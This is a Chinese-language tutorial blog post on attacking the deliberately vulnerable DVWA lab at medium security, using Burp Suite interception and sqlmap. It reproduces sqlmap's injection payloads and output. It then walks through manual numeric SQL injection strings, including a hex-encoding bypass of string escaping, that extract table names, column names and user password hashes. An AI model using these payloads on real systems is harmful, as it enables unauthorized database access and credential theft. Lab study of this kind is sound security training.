2019-2-19 dvwa学习(2)--Burp suite安装运用,sqlmap的payload简介和数值型注入(级别medium)

搭建了dvwa环境和初步研究了sql注入(字符型注入)之后,我们继续进阶学习。
把dvwa环境安全级别调整为medium,如下图
在这里插入图片描述查看sql injection页面源码,可以发现提交方式变为post。注:low级别时候是get方式。

<form action="#" method="POST">

此时可以利用Burp suite工具来拦截浏览器端和服务器端之间的POST请求数据,抓取涉及查询的数据,修改参数,构造恶意攻击的查询语句绕过客户端直接向服务端发送请求。
上官网下载Burp Suite Community Edition,只有这个是免费版本。我下载的文件是burpsuite_community_windows-x64_v1_7_36.exe。
安装过程很简单,没有什么特别的。下载完后直接运行。
在这里插入图片描述在这里插入图片描述在这里插入图片描述3步就行了。
正式拦截之前,还需要设置浏览器的代理服务器。
在这里插入图片描述然后核查一下Burp中proxy设置如下。默认不需要修改哦。
在这里插入图片描述最后打开Burp的拦截功能
在这里插入图片描述
现在终于可以尝试拦截post请求和修改参数了。

例1,修改拦截参数
进入sql injection界面。user id变成了下拉列表,现在可没有地方输入可以用于注入的代码了。直接点击提交。
在这里插入图片描述
这个时候Burp开始拦截,自动弹屏,显示界面如下
在这里插入图片描述最后一行就是提交的参数。我们把这行修改如下,然后点击forward按钮

id=2&Submit=Submit

再回到sql injection界面,显示内容如下
在这里插入图片描述看明白嘛,显示内容不是id=1,而是我们在Burp中修改的id=2的内容。
Burp拦截和修改参数成功。

例2,sqlmap连接测试
现在改用sqlmap连接。注意:这里cookie值和上面Burp拦截显示不一致,因为我换了一台PC测试。

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.99.100/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" --cookie "security=medium;PHPSESSID=ietrd6125vattp3v8l1arltpi5" --batch --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.3.2.22#dev}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:52:48 /2019-02-20/

[09:52:49] [INFO] resuming back-end DBMS 'mysql'
[09:52:49] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (1426=1426) THEN 1 ELSE (SELECT 4462 UNION SELECT 4808) END))&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 5505 FROM(SELECT COUNT(*),CONCAT(0x71786a6271,(SELECT (ELT(5505=5505,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6271,0x597353525655566d6d4577594e7a79776b7863416a6e6d4c50654f50676d457a4979794759456458,0x717a6b6b71),NULL-- HLAr&Submit=Submit
---
[09:52:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0
[09:52:49] [INFO] fetching database names
[09:52:49] [WARNING] reflective value(s) found and filtering out
available databases [2]:
[*] dvwa
[*] information_schema

[09:52:49] [INFO] fetched data logged to text files under 'C:\Users\xxx\AppData\Local\sqlmap\output\192.168.99.100'

[*] ending @ 09:52:49 /2019-02-20/

说明如下:

a.上篇文章例1中,low级别提交数据采用的是get方法,所以参数在-u指向的url中直接包含。而medium级别采用的post方法,所以需要追加–data,参数包含在此之中。

--data=DATA         Data string to be sent through POST (e.g. "id=1")

b.观察从上面内容中截取的部分。以下说明可以参见《SQLMAP进阶使用

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6271,0x597353525655566d6d4577594e7a79776b7863416a6e6d4c50654f50676d457a4979794759456458,0x717a6b6b71),NULL-- HLAr&Submit=Submit

b-1.首先解释一下type。sql注入的类型一共有6个类型

类型1:盲注。boolean_blind
类型2:错误类型注入 。error_based
类型3:内联注入 。inline_query
类型4:多语句查询注入 。stacked_queries
类型5:时间注入 。time_blind
类型6:联合查询注入。union_query

这6个类型的注入文件保存在sqlmap\xml\payloads目录中
本例中采用了4种注入类型。
b-2.title,注入case的名称。
b-3.payload,字面意思“有效负载”。实际就是指注入的代码。

c.我们再来看sqlmap\xml\payloads的文件。以下截取union_query.xml中的部分内容,也就是用于注入配置。

-<test>

<title>Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom)</title>
<stype>6</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,4,5</clause>
<where>1</where>
<vector>[UNION]</vector>

-<request>

<payload/>
<comment>[GENERIC_SQL_COMMENT]</comment>
<char>NULL</char>
<columns>[COLSTART]-[COLSTOP]</columns>

</request>
-<response>
<union/>
</response>

</test>

c-1.title字段:payload test起的名字。
c-2.style字段:sql注入的类型,6种
c-3.levle字段:sqlmap对于每一个payload都有一个level级别,level级别越高表示检查的payload个数就越多。这个后面详细解释。
c-4.risk字段:风险等级,有多大几率获取破坏数据。值有1,2,3,分别表示低中高。默认的risk为1,默认检测所有风险级别的payload。 该字段影响不大。
c-5.clause字段:payload在哪个语句里生效,也就是说这个payload用在sql语句的哪个位置。包含的值如下:

Valid values:
            0: Always
            1: WHERE / HAVING
            2: GROUP BY
            3: ORDER BY
            4: LIMIT
            5: OFFSET
            6: TOP
            7: Table name
            8: Column name
            9: Pre-WHERE (non-query)

c-6.where字段,添加注入用代码(或者说payload)的方法。

1:表示把payload直接添加在值得后面。例如:参数是id=1,设置<where>值为1的话,payload会出现1后面。
2:表示将检测的参数的值更换为一个整数,然后将payload添加在这个整数的后面。 例如:参数是id=1,设置<where>值为2的话,参数值被更换为一个整数,payload出现在这个整数后面
3:表示将检测的参数的值直接更换成payload。 例如,参数是id=1,设置<where>值为3的话,那么1直接被替换成payload。

在由于Generic UNION query的where配置为1,所以实际应该时候payload在参数后面出现。

Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6271,0x597353525655566d6d4577594e7a79776b7863416a6e6d4c50654f50676d457a4979794759456458,0x717a6b6b71),NULL-- HLAr&Submit=Submit

d.关于level字段
上面我们说过,sqlmap对于每一个payload都有一个level级别,level级别越高表示检查的payload个数就越多。
level有5个级别,默认为1。lv2:cookie; lv3:user-agent/refere; lv5:host。
本例中最初尝试时候我们使用了–cookie,但是实际不需要也可以成功注入,结果完全一样。

C:\Python27\sqlmap>sqlmap.py -u "http://172.25.137.226/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" --batch --dbs
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.3.2.22#dev}
|_ -| . [(]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:13:15 /2019-02-20/

[14:13:16] [INFO] resuming back-end DBMS 'mysql'
[14:13:16] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://192.168.99.100:80/login.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (1426=1426) THEN 1 ELSE (SELECT 4462 UNION SELECT 4808) END))&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 5505 FROM(SELECT COUNT(*),CONCAT(0x71786a6271,(SELECT (ELT(5505=5505,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1 AND SLEEP(5)&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6271,0x597353525655566d6d4577594e7a79776b7863416a6e6d4c50654f50676d457a4979794759456458,0x717a6b6b71),NULL-- HLAr&Submit=Submit
---
[14:13:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0
[14:13:17] [INFO] fetching database names
available databases [2]:
[*] dvwa
[*] information_schema

[14:13:17] [INFO] fetched data logged to text files under 'C:\Users\xxx\AppData\Local\sqlmap\output\192.168.99.100'

[*] ending @ 14:13:17 /2019-02-20/

例3,字符型还是数值型?
继续采用Burp,尝试把参数按照下面修改,然后提交(forward)

id=1''&Submit=Submit

界面上返回结果如下

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\'\'' at line 1

还记得上一篇说过的判断字符型注入的方法吗?就是注入1’’,如果报错,那就表示不是字符型注入了。
为什么安全级别变为medium,就不是字符型注入了呢?
点击右下角view source,关注以下代码

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 

id参数内容会被mysqli_real_escape_string函数转义。具体说明参见《PHP mysql_real_escape_string() 函数》。其实就是为了防止字符型注入。
这个函数有2个参数,1个是数据库连接,另外一个就是需要转义的字符串。
既然字符型注入被防住了,那么我们可以尝试数值型注入,也就是尝试注入数值型参数。
把参数修改如下

id=1 or 1=1 &Submit=Submit

界面显示如下,成功注入
在这里插入图片描述
数值型注入和字符型注入在以下2例方式一样。
a.确定字段数量,order by 数字 #
b.确定当前数据库名称,union select 1,database() #

例4,确定指定数据库的所有表名称
字符型注入时候直接写入数据库名称’dvwa’,而现在会被转义。所以需要注入以下代码

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # &Submit=Submit

界面显示如下
在这里插入图片描述

例5,确定指定表的列名称
表名和数据库名一下会遇到转义问题。网上有人教了一个在mysql数据中对应的方法。 mysql数据库支持16进制,可以也就是可以把users字符串转换为16进制来用于查询。
随便找一个在线字符串转换16进制的网站,查到users的16进制数字是7573657273,别忘记16进制需要前缀0x。
现在可以注入以下代码

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 &Submit=Submit

其实就是把字符型注入时的table_name=‘users’替换为table_name=0x7573657273。
界面显示如下
在这里插入图片描述
例6,获得数据
注入以下代码

id=1  union  select group_concat(user),group_concat(password) from users &Submit=Submit

界面显示如下
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42555985/article/details/87736347